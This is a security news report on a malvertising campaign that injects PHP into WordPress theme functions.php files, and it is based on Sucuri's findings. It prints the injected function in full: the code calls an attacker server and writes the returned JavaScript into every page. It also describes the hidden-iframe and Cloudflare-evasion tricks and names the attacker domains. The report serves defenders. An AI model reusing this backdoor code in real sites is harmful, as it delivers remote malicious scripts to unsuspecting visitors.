Hackers Weaponizing WordPress Websites by Injecting Malicious PHP Codes Silently
WordPress websites have increasingly become targets for cyber threats, with attackers exploiting them to monetize traffic and compromise security.
WordPress websites have increasingly become targets for cyber threats, with attackers exploiting them to monetize traffic and compromise security.
Recently, a malvertising campaign has been identified, utilizing silent PHP code injections within theme files to deliver unauthorized third-party scripts.
The attack integrates with normal site operations, deploying obfuscated JavaScript that redirects users, displays pop-ups, and bypasses security measures.
The breach was initially detected by a site owner who observed unexplained script activities, traced back to a PHP code block added to the active theme’s functions.php file.
This code injection did not modify visible content but executed covertly during every page request.
Sucuri analysts discovered the campaign through anomalous JavaScript calls to domains managed by attackers, which were subsequently blocklisted by several security vendors.
Exploiting weak file permissions and outdated themes, attackers gain write access to sites, often through compromised credentials or vulnerable plugins, and insert functions that connect to command-and-control servers.
WordPress websites have increasingly become targets for cyber threats, with attackers exploiting them to monetize traffic and compromise security.
Activated via the wp_head hook, these functions retrieve dynamic JavaScript payloads and incorporate them into the site’s <head> section for execution before the rest of the page loads.
Sucuri researchers noted that the injected function establishes a POST connection to a remote endpoint at hxxps://brazilc[.]com/ads.php , retrieves the malicious script, and integrates it into the HTML document.
The payload carries out two primary actions: loading a traffic-distribution script from porsasystem.com/6m9x.js and inserting a hidden 1x1 pixel iframe that imitates Cloudflare’s challenge platform.
These methods facilitate unauthorized redirects, pop-ups, and security scanner evasion by masking malicious activities as legitimate CDN operations.
The infection relies on a PHP function inserted into functions.php :
// Injected PHP function in functions.php function ti_custom_javascript() { $response = wp_remote_post( 'https://brazilc.com/ads.php', array('timeout' => 15, 'body' => array('url' => home_url())) ); if (!is_wp_error($response)) { echo wp_remote_retrieve_body($response); } } add_action('wp_head', 'ti_custom_javascript');
This function, executed with each page load, contacts the command-and-control server and outputs the received JavaScript payload into the page header.
The attacker's script then loads additional malicious code asynchronously, employing attributes such as data-cfasync='false' and async to bypass Cloudflare Rocket Loader.
Embedded within a hidden iframe, the malware evades detection and remains until the injected code is removed.
Based on reporting by Cyber Security News.